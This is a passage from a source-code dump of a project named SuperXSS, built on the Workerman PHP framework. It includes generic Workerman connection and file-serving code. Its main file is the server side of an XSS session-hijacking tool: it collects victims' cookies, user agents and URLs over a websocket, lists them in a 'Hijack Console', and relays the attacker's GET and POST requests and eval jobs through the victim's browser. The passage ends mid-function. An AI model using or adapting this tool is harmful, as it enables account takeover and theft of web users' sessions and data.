'); 158 | return; 159 | } 160 | 161 | $workerman_path = isset($workerman_url_info['path']) ? $workerman_url_info['path'] : '/'; 162 | 163 | $workerman_path_info = pathinfo($workerman_path); 164 | $workerman_file_extension = isset($workerman_path_info['extension']) ? $workerman_path_info['extension'] : ''; 165 | if ($workerman_file_extension === '') { 166 | $workerman_path = ($len = strlen($workerman_path)) && $workerman_path[$len - 1] === '/' ? $workerman_path . 'index.php' : $workerman_path . '/index.php'; 167 | $workerman_file_extension = 'php'; 168 | } 169 | 170 | $workerman_siteConfig = isset($this->serverRoot[$_SERVER['SERVER_NAME']]) ? $this->serverRoot[$_SERVER['SERVER_NAME']] : current($this->serverRoot); 171 | $workerman_root_dir = $workerman_siteConfig['root']; 172 | $workerman_file = "$workerman_root_dir/$workerman_path"; 173 | if(isset($workerman_siteConfig['additionHeader'])){ 174 | Http::header($workerman_siteConfig['additionHeader']); 175 | } 176 | if ($workerman_file_extension === 'php' && !is_file($workerman_file)) { 177 | $workerman_file = "$workerman_root_dir/index.php"; 178 | if (!is_file($workerman_file)) { 179 | $workerman_file = "$workerman_root_dir/index.html"; 180 | $workerman_file_extension = 'html'; 181 | } 182 | } 183 | 184 | // File exsits. 185 | if (is_file($workerman_file)) { 186 | // Security check. 187 | if ((!($workerman_request_realpath = realpath($workerman_file)) || !($workerman_root_dir_realpath = realpath($workerman_root_dir))) || 0 !== strpos($workerman_request_realpath, 188 | $workerman_root_dir_realpath) 189 | ) { 190 | Http::header('HTTP/1.1 400 Bad Request'); 191 | $connection->close('

400 Bad Request

'); 192 | return; 193 | } 194 | 195 | $workerman_file = realpath($workerman_file); 196 | 197 | // Request php file. 198 | if ($workerman_file_extension === 'php') { 199 | $workerman_cwd = getcwd(); 200 | chdir($workerman_root_dir); 201 | ini_set('display_errors', 'off'); 202 | ob_start(); 203 | // Try to include php file. 204 | try { 205 | // $_SERVER. 206 | $_SERVER['REMOTE_ADDR'] = $connection->getRemoteIp(); 207 | $_SERVER['REMOTE_PORT'] = $connection->getRemotePort(); 208 | include $workerman_file; 209 | } catch (\Exception $e) { 210 | // Jump_exit? 211 | if ($e->getMessage() != 'jump_exit') { 212 | echo $e; 213 | } 214 | } 215 | $content = ob_get_clean(); 216 | ini_set('display_errors', 'on'); 217 | if (strtolower($_SERVER['HTTP_CONNECTION']) === "keep-alive") { 218 | $connection->send($content); 219 | } else { 220 | $connection->close($content); 221 | } 222 | chdir($workerman_cwd); 223 | return; 224 | } 225 | 226 | // Send file to client. 227 | return self::sendFile($connection, $workerman_file); 228 | } else { 229 | // 404 230 | Http::header("HTTP/1.1 404 Not Found"); 231 | if(isset($workerman_siteConfig['custom404']) && file_exists($workerman_siteConfig['custom404'])){ 232 | $html404 = file_get_contents($workerman_siteConfig['custom404']); 233 | }else{ 234 | $html404 = '404 File not found

404 Not Found

'; 235 | } 236 | $connection->close($html404); 237 | return; 238 | } 239 | } 240 | 241 | public static function sendFile($connection, $file_path) 242 | { 243 | // Check 304. 244 | $info = stat($file_path); 245 | $modified_time = $info ? date('D, d M Y H:i:s', $info['mtime']) . ' ' . date_default_timezone_get() : ''; 246 | if (!empty($_SERVER['HTTP_IF_MODIFIED_SINCE']) && $info) { 247 | // Http 304. 248 | if ($modified_time === $_SERVER['HTTP_IF_MODIFIED_SINCE']) { 249 | // 304 250 | Http::header('HTTP/1.1 304 Not Modified'); 251 | // Send nothing but http headers.. 252 | $connection->close(''); 253 | return; 254 | } 255 | } 256 | 257 | // Http header. 258 | if ($modified_time) { 259 | $modified_time = "Last-Modified: $modified_time\r\n"; 260 | } 261 | $file_size = filesize($file_path); 262 | $file_info = pathinfo($file_path); 263 | $extension = isset($file_info['extension']) ? $file_info['extension'] : ''; 264 | $file_name = isset($file_info['filename']) ? $file_info['filename'] : ''; 265 | $header = "HTTP/1.1 200 OK\r\n"; 266 | if (isset(self::$mimeTypeMap[$extension])) { 267 | $header .= "Content-Type: " . self::$mimeTypeMap[$extension] . "\r\n"; 268 | } else { 269 | $header .= "Content-Type: application/octet-stream\r\n"; 270 | $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n"; 271 | } 272 | $header .= "Connection: keep-alive\r\n"; 273 | $header .= $modified_time; 274 | $header .= "Content-Length: $file_size\r\n\r\n"; 275 | $trunk_limit_size = 1024*1024; 276 | if ($file_size < $trunk_limit_size) { 277 | return $connection->send($header.file_get_contents($file_path), true); 278 | } 279 | $connection->send($header, true); 280 | 281 | // Read file content from disk piece by piece and send to client. 282 | $connection->fileHandler = fopen($file_path, 'r'); 283 | $do_write = function()use($connection) 284 | { 285 | // Send buffer not full. 286 | while(empty($connection->bufferFull)) 287 | { 288 | // Read from disk. 289 | $buffer = fread($connection->fileHandler, 8192); 290 | // Read eof. 291 | if($buffer === '' || $buffer === false) 292 | { 293 | return; 294 | } 295 | $connection->send($buffer, true); 296 | } 297 | }; 298 | // Send buffer full. 299 | $connection->onBufferFull = function($connection) 300 | { 301 | $connection->bufferFull = true; 302 | }; 303 | // Send buffer drain. 304 | $connection->onBufferDrain = function($connection)use($do_write) 305 | { 306 | $connection->bufferFull = false; 307 | $do_write(); 308 | }; 309 | $do_write(); 310 | } 311 | } 312 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Connection/AsyncTcpConnection.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman\Connection; 15 | 16 | use Workerman\Events\EventInterface; 17 | use Workerman\Lib\Timer; 18 | use Workerman\Worker; 19 | use Exception; 20 | 21 | /** 22 | * AsyncTcpConnection. 23 | */ 24 | class AsyncTcpConnection extends TcpConnection 25 | { 26 | /** 27 | * Emitted when socket connection is successfully established. 28 | * 29 | * @var callback 30 | */ 31 | public $onConnect = null; 32 | 33 | /** 34 | * Transport layer protocol. 35 | * 36 | * @var string 37 | */ 38 | public $transport = 'tcp'; 39 | 40 | /** 41 | * Status. 42 | * 43 | * @var int 44 | */ 45 | protected $_status = self::STATUS_INITIAL; 46 | 47 | /** 48 | * Remote host. 49 | * 50 | * @var string 51 | */ 52 | protected $_remoteHost = ''; 53 | 54 | /** 55 | * Remote port. 56 | * 57 | * @var int 58 | */ 59 | protected $_remotePort = 80; 60 | 61 | /** 62 | * Connect start time. 63 | * 64 | * @var string 65 | */ 66 | protected $_connectStartTime = 0; 67 | 68 | /** 69 | * Remote URI. 70 | * 71 | * @var string 72 | */ 73 | protected $_remoteURI = ''; 74 | 75 | /** 76 | * Context option. 77 | * 78 | * @var resource 79 | */ 80 | protected $_contextOption = null; 81 | 82 | /** 83 | * Reconnect timer. 84 | * 85 | * @var int 86 | */ 87 | protected $_reconnectTimer = null; 88 | 89 | 90 | /** 91 | * PHP built-in protocols. 92 | * 93 | * @var array 94 | */ 95 | protected static $_builtinTransports = array( 96 | 'tcp' => 'tcp', 97 | 'udp' => 'udp', 98 | 'unix' => 'unix', 99 | 'ssl' => 'ssl', 100 | 'sslv2' => 'sslv2', 101 | 'sslv3' => 'sslv3', 102 | 'tls' => 'tls' 103 | ); 104 | 105 | /** 106 | * Construct. 107 | * 108 | * @param string $remote_address 109 | * @param array $context_option 110 | * @throws Exception 111 | */ 112 | public function __construct($remote_address, $context_option = null) 113 | { 114 | $address_info = parse_url($remote_address); 115 | if (!$address_info) { 116 | list($scheme, $this->_remoteAddress) = explode(':', $remote_address, 2); 117 | if (!$this->_remoteAddress) { 118 | echo new \Exception('bad remote_address'); 119 | } 120 | } else { 121 | if (!isset($address_info['port'])) { 122 | $address_info['port'] = 80; 123 | } 124 | if (!isset($address_info['path'])) { 125 | $address_info['path'] = '/'; 126 | } 127 | if (!isset($address_info['query'])) { 128 | $address_info['query'] = ''; 129 | } else { 130 | $address_info['query'] = '?' . $address_info['query']; 131 | } 132 | $this->_remoteAddress = "{$address_info['host']}:{$address_info['port']}"; 133 | $this->_remoteHost = $address_info['host']; 134 | $this->_remotePort = $address_info['port']; 135 | $this->_remoteURI = "{$address_info['path']}{$address_info['query']}"; 136 | $scheme = isset($address_info['scheme']) ? $address_info['scheme'] : 'tcp'; 137 | } 138 | 139 | $this->id = $this->_id = self::$_idRecorder++; 140 | if(PHP_INT_MAX === self::$_idRecorder){ 141 | self::$_idRecorder = 0; 142 | } 143 | // Check application layer protocol class. 144 | if (!isset(self::$_builtinTransports[$scheme])) { 145 | $scheme = ucfirst($scheme); 146 | $this->protocol = '\\Protocols\\' . $scheme; 147 | if (!class_exists($this->protocol)) { 148 | $this->protocol = "\\Workerman\\Protocols\\$scheme"; 149 | if (!class_exists($this->protocol)) { 150 | throw new Exception("class \\Protocols\\$scheme not exist"); 151 | } 152 | } 153 | } else { 154 | $this->transport = self::$_builtinTransports[$scheme]; 155 | } 156 | 157 | // For statistics. 158 | self::$statistics['connection_count']++; 159 | $this->maxSendBufferSize = self::$defaultMaxSendBufferSize; 160 | $this->_contextOption = $context_option; 161 | static::$connections[$this->_id] = $this; 162 | } 163 | 164 | /** 165 | * Do connect. 166 | * 167 | * @return void 168 | */ 169 | public function connect() 170 | { 171 | if ($this->_status !== self::STATUS_INITIAL && $this->_status !== self::STATUS_CLOSING && 172 | $this->_status !== self::STATUS_CLOSED) { 173 | return; 174 | } 175 | $this->_status = self::STATUS_CONNECTING; 176 | $this->_connectStartTime = microtime(true); 177 | if ($this->transport !== 'unix') { 178 | // Open socket connection asynchronously. 179 | if ($this->_contextOption) { 180 | $context = stream_context_create($this->_contextOption); 181 | $this->_socket = stream_socket_client("tcp://{$this->_remoteHost}:{$this->_remotePort}", 182 | $errno, $errstr, 0, STREAM_CLIENT_ASYNC_CONNECT, $context); 183 | } else { 184 | $this->_socket = stream_socket_client("tcp://{$this->_remoteHost}:{$this->_remotePort}", 185 | $errno, $errstr, 0, STREAM_CLIENT_ASYNC_CONNECT); 186 | } 187 | } else { 188 | $this->_socket = stream_socket_client("{$this->transport}://{$this->_remoteAddress}", $errno, $errstr, 0, 189 | STREAM_CLIENT_ASYNC_CONNECT); 190 | } 191 | // If failed attempt to emit onError callback. 192 | if (!$this->_socket) { 193 | $this->emitError(WORKERMAN_CONNECT_FAIL, $errstr); 194 | if ($this->_status === self::STATUS_CLOSING) { 195 | $this->destroy(); 196 | } 197 | if ($this->_status === self::STATUS_CLOSED) { 198 | $this->onConnect = null; 199 | } 200 | return; 201 | } 202 | // Add socket to global event loop waiting connection is successfully established or faild. 203 | Worker::$globalEvent->add($this->_socket, EventInterface::EV_WRITE, array($this, 'checkConnection')); 204 | // For windows. 205 | if(DIRECTORY_SEPARATOR === '\\') { 206 | Worker::$globalEvent->add($this->_socket, EventInterface::EV_EXCEPT, array($this, 'checkConnection')); 207 | } 208 | } 209 | 210 | /** 211 | * Reconnect. 212 | * 213 | * @param int $after 214 | * @return void 215 | */ 216 | public function reConnect($after = 0) { 217 | $this->_status = self::STATUS_INITIAL; 218 | static::$connections[$this->_id] = $this; 219 | if ($this->_reconnectTimer) { 220 | Timer::del($this->_reconnectTimer); 221 | } 222 | if ($after > 0) { 223 | $this->_reconnectTimer = Timer::add($after, array($this, 'connect'), null, false); 224 | return; 225 | } 226 | $this->connect(); 227 | } 228 | 229 | /** 230 | * Get remote address. 231 | * 232 | * @return string 233 | */ 234 | public function getRemoteHost() 235 | { 236 | return $this->_remoteHost; 237 | } 238 | 239 | /** 240 | * Get remote URI. 241 | * 242 | * @return string 243 | */ 244 | public function getRemoteURI() 245 | { 246 | return $this->_remoteURI; 247 | } 248 | 249 | /** 250 | * Try to emit onError callback. 251 | * 252 | * @param int $code 253 | * @param string $msg 254 | * @return void 255 | */ 256 | protected function emitError($code, $msg) 257 | { 258 | $this->_status = self::STATUS_CLOSING; 259 | if ($this->onError) { 260 | try { 261 | call_user_func($this->onError, $this, $code, $msg); 262 | } catch (\Exception $e) { 263 | Worker::log($e); 264 | exit(250); 265 | } catch (\Error $e) { 266 | Worker::log($e); 267 | exit(250); 268 | } 269 | } 270 | } 271 | 272 | /** 273 | * Check connection is successfully established or faild. 274 | * 275 | * @param resource $socket 276 | * @return void 277 | */ 278 | public function checkConnection($socket) 279 | { 280 | // Remove EV_EXPECT for windows. 281 | if(DIRECTORY_SEPARATOR === '\\') { 282 | Worker::$globalEvent->del($socket, EventInterface::EV_EXCEPT); 283 | } 284 | 285 | // Check socket state. 286 | if ($address = stream_socket_get_name($socket, true)) { 287 | // Nonblocking. 288 | stream_set_blocking($socket, 0); 289 | // Compatible with hhvm 290 | if (function_exists('stream_set_read_buffer')) { 291 | stream_set_read_buffer($socket, 0); 292 | } 293 | // Try to open keepalive for tcp and disable Nagle algorithm. 294 | if (function_exists('socket_import_stream') && $this->transport === 'tcp') { 295 | $raw_socket = socket_import_stream($socket); 296 | socket_set_option($raw_socket, SOL_SOCKET, SO_KEEPALIVE, 1); 297 | socket_set_option($raw_socket, SOL_TCP, TCP_NODELAY, 1); 298 | } 299 | 300 | // Remove write listener. 301 | Worker::$globalEvent->del($socket, EventInterface::EV_WRITE); 302 | 303 | // SSL handshake. 304 | if ($this->transport === 'ssl') { 305 | $this->_sslHandshakeCompleted = $this->doSslHandshake($socket); 306 | } else { 307 | // There are some data waiting to send. 308 | if ($this->_sendBuffer) { 309 | Worker::$globalEvent->add($socket, EventInterface::EV_WRITE, array($this, 'baseWrite')); 310 | } 311 | } 312 | 313 | // Register a listener waiting read event. 314 | Worker::$globalEvent->add($socket, EventInterface::EV_READ, array($this, 'baseRead')); 315 | 316 | $this->_status = self::STATUS_ESTABLISHED; 317 | $this->_remoteAddress = $address; 318 | 319 | // Try to emit onConnect callback. 320 | if ($this->onConnect) { 321 | try { 322 | call_user_func($this->onConnect, $this); 323 | } catch (\Exception $e) { 324 | Worker::log($e); 325 | exit(250); 326 | } catch (\Error $e) { 327 | Worker::log($e); 328 | exit(250); 329 | } 330 | } 331 | // Try to emit protocol::onConnect 332 | if (method_exists($this->protocol, 'onConnect')) { 333 | try { 334 | call_user_func(array($this->protocol, 'onConnect'), $this); 335 | } catch (\Exception $e) { 336 | Worker::log($e); 337 | exit(250); 338 | } catch (\Error $e) { 339 | Worker::log($e); 340 | exit(250); 341 | } 342 | } 343 | } else { 344 | // Connection failed. 345 | $this->emitError(WORKERMAN_CONNECT_FAIL, 'connect ' . $this->_remoteAddress . ' fail after ' . round(microtime(true) - $this->_connectStartTime, 4) . ' seconds'); 346 | if ($this->_status === self::STATUS_CLOSING) { 347 | $this->destroy(); 348 | } 349 | if ($this->_status === self::STATUS_CLOSED) { 350 | $this->onConnect = null; 351 | } 352 | } 353 | } 354 | } 355 | -------------------------------------------------------------------------------- /SuperXSS/SuperXSS.php: -------------------------------------------------------------------------------- 1 | count = $Config['CONSOLE_WORKER_COUNT']; 16 | $WS_listen_worker -> count = $Config['WS_WORKER_COUNT']; 17 | 18 | //status: 0 已发送给ws 1 ws已经确认收到请求 2 已收到ws返回结果包 19 | 20 | $WS_listen_worker -> onWorkerStart = function(){ 21 | global $GD_Client; 22 | $GD_Client = new \GlobalData\Client('127.0.0.1:22018'); 23 | $GD_Client -> sessionlist = array(); 24 | $GD_Client -> reply_pool = array(); 25 | $GD_Client -> eval_pool = array(); 26 | $GD_Client -> send_pool = array(); 27 | $GD_Client -> reply_pool_lock = false; 28 | }; 29 | 30 | $Hijack_console_worker -> onWorkerStart = function(){ 31 | global $GD_Client; 32 | $GD_Client = new \GlobalData\Client('127.0.0.1:22018'); 33 | }; 34 | 35 | $WS_listen_worker -> onConnect = function($connection){ 36 | //4s未发送ping包关闭连接 37 | $connection -> auth_timer_id = Timer::add(4, function()use($connection){ 38 | $connection -> close(); 39 | }, null, false); 40 | 41 | $connection -> send_timer = Timer::add(0.1, function()use($connection){ 42 | global $GD_Client; 43 | $send_pool = $GD_Client -> send_pool; 44 | $unsetlist = array(); 45 | foreach($send_pool as $k => $v){ 46 | if($v['SESSIONID'] == $connection -> sessionid){ 47 | $connection -> send($v['BODY']); 48 | $unsetlist[] = $k; 49 | } 50 | } 51 | foreach($unsetlist as $v){ 52 | unset($send_pool[$v]); 53 | } 54 | $GD_Client -> send_pool = $send_pool; 55 | }); 56 | 57 | 58 | $connection -> autojob_timer = Timer::add(5, function()use($connection){ 59 | global $GD_Client; 60 | while(true){ 61 | if(!$GD_Client -> reply_pool_lock){ 62 | $GD_Client -> reply_pool_lock = true; 63 | break; 64 | }else{ 65 | usleep(1000); 66 | } 67 | } 68 | $reply_pool = $GD_Client -> reply_pool; 69 | foreach($reply_pool as $k => $v){ 70 | if((time() - $v['ADD_TIME'] >= 8 && $v['STATUS'] == 0) || (time() - $v['ADD_TIME'] >= 20 && $v['STATUS'] == 1)){ 71 | $reply_pool[$k]['STATUS'] = 2; 72 | $reply_pool[$k]['STATUS_CODE'] = 504; 73 | $reply_pool[$k]['CT'] = "text/html"; 74 | $reply_pool[$k]['CONTENT'] = "Client failed to reply within time limit"; 75 | } 76 | } 77 | $GD_Client -> reply_pool = $reply_pool; 78 | $eval_pool = $GD_Client -> eval_pool; 79 | foreach($eval_pool as $k => $v){ 80 | if((time() - $v['ADD_TIME'] >= 8 && $v['STATUS'] == 0) || (time() - $v['ADD_TIME'] >= 20 && $v['STATUS'] == 1)){ 81 | $eval_pool[$k]['STATUS'] = 2; 82 | $eval_pool[$k]['CONTENT'] = ""; 83 | } 84 | } 85 | $GD_Client -> eval_pool = $eval_pool; 86 | $GD_Client -> reply_pool_lock = false; 87 | }); 88 | }; 89 | 90 | $WS_listen_worker -> onClose = function($connection){ 91 | global $GD_Client; 92 | while(true){ 93 | if(!$GD_Client -> reply_pool_lock){ 94 | $GD_Client -> reply_pool_lock = true; 95 | break; 96 | }else{ 97 | usleep(5000); 98 | } 99 | } 100 | $sessionlist = $GD_Client -> sessionlist; 101 | $eval_pool = $GD_Client -> eval_pool; 102 | $reply_pool = $GD_Client -> reply_pool; 103 | 104 | if(isset($connection -> sessionid) && isset($sessionlist[$connection -> sessionid])){ 105 | unset($sessionlist[$connection -> sessionid]); 106 | } 107 | for($i = 0; $i < count($reply_pool); $i++){ 108 | if($reply_pool[$i]['SESSIONID'] === $connection -> sessionid && $reply_pool[$i]['STATUS'] != 2){ 109 | $reply_pool[$i]['STATUS'] = 2; 110 | $reply_pool[$i]['STATUS_CODE'] = 503; 111 | $reply_pool[$i]['CT'] = "text/html"; 112 | $reply_pool[$i]['CONTENT'] = "Client closed the websocket connection"; 113 | } 114 | } 115 | for($i = 0; $i < count($eval_pool); $i++){ 116 | if($eval_pool[$i]['SESSIONID'] === $connection -> sessionid && $eval_pool[$i]['STATUS'] != 2){ 117 | $eval_pool[$i]['STATUS'] = 2; 118 | $eval_pool[$i]['CONTENT'] = ""; 119 | } 120 | } 121 | 122 | $GD_Client -> sessionlist = $sessionlist; 123 | $GD_Client -> reply_pool = $reply_pool; 124 | $GD_Client -> eval_pool = $eval_pool; 125 | $GD_Client -> reply_pool_lock = false; 126 | }; 127 | 128 | $WS_listen_worker -> onMessage = function($connection, $data){ 129 | global $GD_Client; 130 | //确认数据包 131 | if(!$data = json_decode($data, true)){ 132 | $connection -> close(); 133 | }elseif(!isset($data['OP'])){ 134 | $connection -> close(); 135 | } 136 | 137 | switch($data['OP']){ 138 | case "init": 139 | if(isset($data['UA']) && isset($data['REFERER']) && isset($data['URL']) && isset($data['BASEURL']) && isset($data['COOKIE']) && !isset($connection -> sessionid)){ 140 | $res['INITSTATUS'] = 1; 141 | $connection -> sessionid = randChar(20); 142 | $sessionlist = $GD_Client -> sessionlist; 143 | $sessionlist[$connection -> sessionid] = array("LastPing" => time(), 144 | "IP" => $connection -> getRemoteIp(), 145 | "UA" => htmlspecialchars(base64_decode($data['UA'])), 146 | "URL" => htmlspecialchars(base64_decode($data['URL'])), 147 | "REFERER" => htmlspecialchars(base64_decode($data['REFERER'])), 148 | "BASEURL" => htmlspecialchars(base64_decode($data['BASEURL'])), 149 | "COOKIE" => htmlspecialchars(base64_decode($data['COOKIE']))); 150 | $GD_Client -> sessionlist = $sessionlist; 151 | Timer::del($connection -> auth_timer_id); 152 | //一旦12s没有提交心跳包则关闭连接 153 | $connection -> auth_timer_id = Timer::add(12, function()use($connection){ 154 | $connection->close(); 155 | }, null, false); 156 | $connection -> send(json_encode($res)); 157 | }else{ 158 | $connection -> close(); 159 | } 160 | break; 161 | case "ping": 162 | $res['PINGSTATUS'] = 1; 163 | $sessionlist = $GD_Client -> sessionlist; 164 | if(!isset($connection -> sessionid) || !isset($sessionlist[$connection -> sessionid])){ 165 | $connection -> close(); 166 | } 167 | $sessionlist[$connection -> sessionid]["LastPing"] = time(); 168 | $GD_Client -> sessionlist = $sessionlist; 169 | //reset timer 170 | Timer::del($connection -> auth_timer_id); 171 | $connection -> auth_timer_id = Timer::add(12, function()use($connection){ 172 | $connection->close(); 173 | }, null, false); 174 | $connection -> send(json_encode($res)); 175 | break; 176 | case "pushxhr": 177 | while(true){ 178 | if(!$GD_Client -> reply_pool_lock){ 179 | $GD_Client -> reply_pool_lock = true; 180 | break; 181 | }else{ 182 | usleep(5000); 183 | } 184 | } 185 | $sessionlist = $GD_Client -> sessionlist; 186 | $reply_pool = $GD_Client -> reply_pool; 187 | if(!isset($connection -> sessionid) || !isset($sessionlist[$connection -> sessionid])){ 188 | $connection -> close(); 189 | } 190 | if(isset($data['STATUS_CODE']) && is_numeric($data['STATUS_CODE']) && isset($data['JOBID']) && isset($data['CT']) && isset($data['CONTENT'])){ 191 | if($data['STATUS_CODE'] > 999){ 192 | $connection -> close(); 193 | } 194 | if(isset($reply_pool[$data['JOBID']]) && $reply_pool[$data['JOBID']]['STATUS'] == 1){ 195 | $res['STATUS'] = 1; 196 | $res['JOBID'] = $data['JOBID']; 197 | $reply_pool[$data['JOBID']]['STATUS_CODE'] = intval($data['STATUS_CODE']); 198 | $reply_pool[$data['JOBID']]['CT'] = $data['CT']; 199 | $reply_pool[$data['JOBID']]['CONTENT'] = hex2bin($data['CONTENT']); 200 | $reply_pool[$data['JOBID']]['STATUS'] = 2; 201 | }else{ 202 | $res['STATUS'] = 0; 203 | $res['JOBID'] = $data['JOBID']; 204 | } 205 | $GD_Client -> reply_pool = $reply_pool; 206 | $GD_Client -> reply_pool_lock = false; 207 | $connection -> send(json_encode($res)); 208 | }else{ 209 | $GD_Client -> reply_pool_lock = false; 210 | $connection -> close(); 211 | } 212 | break; 213 | case "confirmxhr": 214 | while(true){ 215 | if(!$GD_Client -> reply_pool_lock){ 216 | $GD_Client -> reply_pool_lock = true; 217 | break; 218 | }else{ 219 | usleep(5000); 220 | } 221 | } 222 | $sessionlist = $GD_Client -> sessionlist; 223 | $reply_pool = $GD_Client -> reply_pool; 224 | if(!isset($connection -> sessionid) || !isset($sessionlist[$connection -> sessionid])){ 225 | $GD_Client -> reply_pool_lock = false; 226 | $connection -> close(); 227 | } 228 | if(isset($data['JOBID']) && isset($reply_pool[$data['JOBID']]) && $reply_pool[$data['JOBID']]['STATUS'] == 0){ 229 | $reply_pool[$data['JOBID']]['STATUS'] = 1; 230 | $res['STATUS'] = 1; 231 | $res['JOBID'] = $data['JOBID']; 232 | }else{ 233 | $res['STATUS'] = 0; 234 | $res['JOBID'] = $data['JOBID']; 235 | } 236 | $GD_Client -> reply_pool = $reply_pool; 237 | $GD_Client -> reply_pool_lock = false; 238 | $connection -> send(json_encode($res)); 239 | break; 240 | case "confirmeval": 241 | $sessionlist = $GD_Client -> sessionlist; 242 | $eval_pool = $GD_Client -> eval_pool; 243 | if(!isset($connection -> sessionid) || !isset($sessionlist[$connection -> sessionid])){ 244 | $connection -> close(); 245 | } 246 | if(isset($data['JOBID']) && isset($eval_pool[$data['JOBID']]) && $eval_pool[$data['JOBID']]['STATUS'] == 0){ 247 | $eval_pool[$data['JOBID']]['STATUS'] = 1; 248 | $res['STATUS'] = 1; 249 | $res['JOBID'] = $data['JOBID']; 250 | }else{ 251 | $res['STATUS'] = 0; 252 | $res['JOBID'] = $data['JOBID']; 253 | } 254 | $GD_Client -> eval_pool = $eval_pool; 255 | $connection -> send(json_encode($res)); 256 | break; 257 | case "pusheval": 258 | $sessionlist = $GD_Client -> sessionlist; 259 | $eval_pool = $GD_Client -> eval_pool; 260 | if(!isset($connection -> sessionid) || !isset($sessionlist[$connection -> sessionid])){ 261 | $connection -> close(); 262 | } 263 | if(isset($data['JOBID']) && isset($data['CONTENT'])){ 264 | if(isset($eval_pool[$data['JOBID']]) && $eval_pool[$data['JOBID']]['STATUS'] == 1){ 265 | $res['STATUS'] = 1; 266 | $res['JOBID'] = $data['JOBID']; 267 | $eval_pool[$data['JOBID']]['CONTENT'] = hex2bin($data['CONTENT']); 268 | $eval_pool[$data['JOBID']]['STATUS'] = 2; 269 | }else{ 270 | $res['STATUS'] = 0; 271 | $res['JOBID'] = $data['JOBID']; 272 | } 273 | $GD_Client -> eval_pool = $eval_pool; 274 | $connection -> send(json_encode($res)); 275 | }else{ 276 | $connection -> close(); 277 | } 278 | break; 279 | } 280 | }; 281 | 282 | $Hijack_console_worker -> onMessage = function($connection, $data)use($Config){ 283 | global $GD_Client; 284 | $sessionlist = $GD_Client -> sessionlist; 285 | $eval_pool = $GD_Client -> eval_pool; 286 | if(!isset($_COOKIE['hijack_session']) && !isset($_GET['hijack_session'])){ 287 | $html = 'SuperXSS SESSION Hijack Console'; 288 | $html .= '

SuperXSS SESSION Hijack Console

'; 289 | foreach($sessionlist as $session => $info){ 290 | $s = time() - $info['LastPing']; 291 | $html .= '
'; 292 | $html .= '

上次心跳包: ' . $s . '秒前

'; 293 | $html .= '

IP: '.$info['IP'].'

'; 294 | $html .= '

URL: '.$info['URL'].'

'; 295 | $html .= '

User-Agent: '.$info['UA'].'

'; 296 | $html .= '

Referer: '.$info['REFERER'].'

'; 297 | $html .= '

Cookie: '.$info['COOKIE'].'

'; 298 | $html .= '
'; 299 | } 300 | $html .= '
'; 301 | foreach($sessionlist as $session => $info){ 302 | $html .= 'Hijack this session'; 303 | } 304 | $html .= '
'; 305 | $connection -> send($html); 306 | //$connection -> send(var_export($_SERVER, true).var_export($_POST, true).var_export($_FILES, true)); 307 | }elseif(isset($_GET['hijack_session'])){ 308 | if(!isset($sessionlist[$_GET['hijack_session']])){ 309 | Workerman\Protocols\Http::header('HTTP', true, 404); 310 | $connection -> send("Current Session not exists or no longer be able to use"); 311 | }else{ 312 | Workerman\Protocols\Http::setcookie('hijack_session', $_GET['hijack_session']); 313 | Workerman\Protocols\Http::header("Location: /"); 314 | $connection -> send("Redirecting..."); 315 | } 316 | }else{ 317 | $currentsession = $_COOKIE['hijack_session']; 318 | if(!isset($sessionlist[$currentsession])){ 319 | Workerman\Protocols\Http::header('HTTP', true, 404); 320 | $connection -> send("Current Session not exists or no longer be able to use"); 321 | }else{ 322 | $directend = false; 323 | while(true){ 324 | if(!$GD_Client -> reply_pool_lock){ 325 | $GD_Client -> reply_pool_lock = true; 326 | break; 327 | }else{ 328 | usleep(5000); 329 | } 330 | } 331 | $reply_pool = $GD_Client -> reply_pool; 332 | $currentsession = $sessionlist[$currentsession]; 333 | if($_SERVER['REQUEST_METHOD'] == 'GET'){ 334 | $filesuffix = explode('?', $_SERVER['REQUEST_URI']); 335 | $filesuffix = explode('.', $filesuffix[0]); 336 | $filesuffix = $filesuffix[count($filesuffix) - 1]; 337 | if(in_array($filesuffix, explode(',', $Config['IGNORE_SUFFIX']))){ 338 | //静态文件302直接访问 339 | $realpath = $currentsession['BASEURL'] . $_SERVER['REQUEST_URI']; 340 | Workerman\Protocols\Http::header("Location: {$realpath}"); 341 | $GD_Client -> reply_pool_lock = false; 342 | $directend = true; 343 | $connection -> send("Redirecting..."); 344 | }else{ 345 | $jobid = randChar(8) . time(); 346 | $reply_pool[$jobid] = array('STATUS' => 0, 347 | 'SESSIONID' => $_COOKIE['hijack_session'], 348 | 'ADD_TIME' => time() 349 | ); 350 | 351 | $send = array("OP" => "GET", 352 | "URI" => $_SERVER['REQUEST_URI'], 353 | "JOBID" => $jobid); 354 | $GD_Client -> reply_pool = $reply_pool; 355 | $GD_Client -> reply_pool_lock = false; 356 | $send_pool = $GD_Client -> send_pool; 357 | $send_pool[] = array('SESSIONID' => $_COOKIE['hijack_session'], 'BODY' => json_encode($send)); 358 | $GD_Client -> send_pool = $send_pool; 359 | } 360 | }elseif($_SERVER['REQUEST_METHOD'] == 'POST'){ 361 | $jobid = randChar(8) . time(); 362 | $reply_pool[$jobid] = array('STATUS' => 0, 363 | 'SESSIONID' => $_COOKIE['hijack_session'], 364 | 'ADD_TIME' => time() 365 | ); 366 | $GD_Client -> reply_pool = $reply_pool; 367 | $GD_Client -> reply_pool_lock = false; 368 | $send = array("OP" => "POST", 369 | "URI" => $_SERVER['REQUEST_URI'], 370 | "CT" => $_SERVER['HTTP_CONTENT_TYPE'], 371 | "DATA" => bin2hex($GLOBALS['HTTP_RAW_POST_DATA']), 372 | "JOBID" => $jobid); 373 | $send_pool = $GD_Client -> send_pool; 374 | $send_pool[] = array('SESSIONID' => $_COOKIE['hijack_session'], 'BODY' => json_encode($send)); 375 | $GD_Client -> send_pool = $send_pool; 376 | }else{ 377 | $GD_Client -> reply_pool_lock = false; 378 | } 379 | if(!$directend){ 380 | while(true){ 381 | while(true){ 382 | if(!$GD_Client -> reply_pool_lock){ 383 | $GD_Client -> reply_pool_lock = true; 384 | break; 385 | }else{ 386 | usleep(1000); 387 | } 388 | } 389 | $reply_pool = $GD_Client -> reply_pool; 390 | if(!isset($reply_pool[$jobid])){ 391 | echo $jobid."\n"; 392 | $GD_Client -> reply_pool_lock = false; 393 | Workerman\Protocols\Http::header('HTTP', true, 500); 394 | $connection -> send("Server has experienced an exception"); 395 | break; 396 | 